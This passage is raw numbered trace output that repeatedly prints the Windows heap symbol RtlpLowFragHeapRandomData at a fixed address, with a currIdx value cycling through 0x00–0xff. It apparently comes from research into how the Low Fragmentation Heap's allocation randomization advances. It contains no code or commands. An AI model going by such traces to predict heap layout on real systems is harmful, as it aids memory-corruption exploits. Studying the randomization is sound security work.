RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e3 277 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e4 278 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e5 279 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e6 280 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e7 281 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e8 282 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e9 283 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ea 284 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000eb 285 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ec 286 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ed 287 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ee 288 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ef 289 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f0 290 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f1 291 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f2 292 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f3 293 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f4 294 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f5 295 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f6 296 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f7 297 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f8 298 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f9 299 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fa 300 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fb 301 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fc 302 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fd 303 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fe 304 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ff 305 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000000 306 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000075 307 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000076 308 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000077 309 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000078 310 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000079 311 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007a 312 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007b 313 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007c 314 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007d 315 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007e 316 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000007f 317 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000080 318 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000081 319 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000082 320 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000083 321 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000084 322 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000085 323 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000086 324 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000087 325 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000088 326 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000089 327 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008a 328 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008b 329 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008c 330 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008d 331 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008e 332 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000008f 333 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000090 334 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000091 335 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000092 336 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000093 337 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000094 338 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000095 339 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000096 340 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000097 341 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000098 342 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000099 343 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009a 344 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009b 345 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009c 346 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009d 347 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009e 348 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000009f 349 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a0 350 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a1 351 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a2 352 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a3 353 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a4 354 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a5 355 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a6 356 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a7 357 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a8 358 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000a9 359 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000aa 360 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ab 361 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ac 362 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ad 363 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ae 364 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000af 365 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b0 366 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b1 367 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b2 368 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b3 369 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b4 370 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b5 371 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b6 372 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b7 373 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b8 374 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000b9 375 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ba 376 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bb 377 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bc 378 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bd 379 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000be 380 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000bf 381 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c0 382 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c1 383 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c2 384 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c3 385 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c4 386 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c5 387 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c6 388 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c7 389 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c8 390 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000c9 391 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ca 392 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cb 393 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cc 394 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cd 395 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ce 396 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000cf 397 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d0 398 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d1 399 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d2 400 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d3 401 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d4 402 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d5 403 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d6 404 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d7 405 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d8 406 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d9 407 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000da 408 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000db 409 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dc 410 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dd 411 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000de 412 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000df 413 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e0 414 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e1 415 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e2 416 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e3 417 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e4 418 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e5 419 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e6 420 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e7 421 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e8 422 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e9 423 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ea 424 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000eb 425 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ec 426 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ed 427 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ee 428 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ef 429 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f0 430 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f1 431 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f2 432 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f3 433 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f4 434 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f5 435 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f6 436 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f7 437 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f8 438 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000f9 439 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fa 440 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fb 441 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fc 442 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fd 443 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000fe 444 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ff 445 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000000 446 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000001 447 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000002 448 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000003 449 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000004 450 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000005 451 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000006 452 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000007 453 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000008 454 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000009 455 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000a 456 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000b 457 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000c 458 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000d 459 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000e 460 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000000f 461 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000010 462 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000011 463 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000012 464 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000013 465 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000014 466 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000015 467 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000016 468 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000017 469 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000018 470 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000019 471 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001a 472 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001b 473 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001c 474 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001d 475 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001e 476 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000001f 477 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000020 478 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000021 479 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000022 480 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000023 481 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000024 482 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000025 483 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000026 484 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000027 485 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000028 486 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000029 487 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002a 488 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002b 489 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002c 490 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002d 491 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002e 492 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000002f 493 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000030 494 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000031 495 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000032 496 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000033 497 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000034 498 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000035 499 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000036 500 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000037 501 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000038 502 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000039 503 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003a 504 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003b 505 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003c 506 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003d 507 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003e 508 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000003f 509 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000040 510 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000041 511 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000042 512 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000043 513 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000044 514 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000045 515 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000046 516 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000047 517 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000048 518 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000049 519 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004a 520 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004b 521 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004c 522 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004d 523 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004e 524 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000004f 525 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000050 526 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000051 527 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000052 528 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000053 529 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000054 530 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000055 531 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000056 532 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000057 533 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000058 534 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000059 535 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005a 536 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005b 537 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005c 538 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005d 539 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005e 540 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000005f 541 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000060 542 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000061 543 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000062 544 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000063 545 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000064 546 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000065 547 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000066 548 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000067 549 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000068 550 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000069 551 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006a 552 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006b 553 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006c 554 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006d 555 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006e 556 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x000000000000006f 557 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000070 558 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000071 559 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000072 560 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000073 561 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x0000000000000074 562 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d8 563 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000d9 564 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000da 565 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000db 566 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dc 567 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000dd 568 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000de 569 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000df 570 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e0 571 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e1 572 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e2 573 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e3 574 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e4 575 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e5 576 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e6 577 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e7 578 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e8 579 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000e9 580 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ea 581 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000eb 582 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ec 583 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ed 584 | RtlpLowFragHeapRandomData == 0x00007ffbe7e30000, currIdx == 0x00000000000000ee 585 | RtlpLowFragHeapRandomData == 